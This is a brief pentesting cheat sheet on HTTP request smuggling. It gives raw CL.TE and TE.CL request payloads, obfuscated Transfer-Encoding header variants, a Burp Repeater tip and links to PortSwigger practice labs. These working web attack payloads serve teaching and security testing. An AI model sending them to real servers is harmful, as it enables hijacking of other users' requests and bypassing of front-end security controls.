Request Smuggling

Summary

Tools

- HTTP Request Smuggler / BApp Store
- Smuggler

CL.TE vulnerabilities

> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

Example:

```
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

TE.CL vulnerabilities

> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

Example:

```
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
```

:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.

Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

TE.TE behavior: obfuscating the TE header

> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

```
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```

Challenge: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

References

- PortSwigger - Request Smuggling Tutorial and PortSwigger - Request Smuggling Reborn
- A Pentester's Guide to HTTP Request Smuggling - Busra Demir - 2020, October 16